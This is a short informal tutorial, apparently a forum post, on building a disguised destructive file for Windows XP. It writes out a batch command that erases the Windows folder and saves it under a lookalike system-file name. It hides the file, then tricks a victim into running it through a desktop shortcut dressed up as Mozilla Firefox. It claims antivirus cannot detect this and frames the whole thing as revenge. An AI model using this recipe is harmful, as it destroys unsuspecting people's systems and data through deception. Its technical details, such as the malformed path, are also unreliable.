I will tell you how to destroy a PC with Windows OS, this way is simple and easy, only need to open a notepad and on a its blank sheet, type "erase C:WINDOWS
" and save it as whatever name you expect with '.cmd' as the extension of the file, so when you have saved it, the file will be changed to Command Prompt file, not a notepad file anymore. For example, let's save it as "MSCONFlG.cmd', the letter of that name is not real "I", but it is "L" in low case letter, it is only to camouflage the file as the Windows' system file a.k.a fake system file just like what virus does, it stands for Microsoft Configuration. Save it in another drive, for example, you may save it on "D:/" and hide it by left-click on it and click "Properties", check/mark "Hidden" to hide it.Next step, create a shortcut of it and place it on the strategic place, usually on Desktop, so place it on the Desktop. Change its shortcut name as "Mozilla Firefox.cmd" and do not forget to replace its icon with Mozilla Firefox's icon (You may use another file name and icon to make the fake file, make it as interesting as you can!), and also do not forget to hide extension (go to any opened window folder, click "Tools" - "Folder Option", set the tab to "View" and check/mark "Hide extension for known file types", then click "OK"),Now, you need to wait the target operation to click the fake file. Anti-Virus can not detect this file as threat.
This is only working for Windows XP.
This is only for revenge!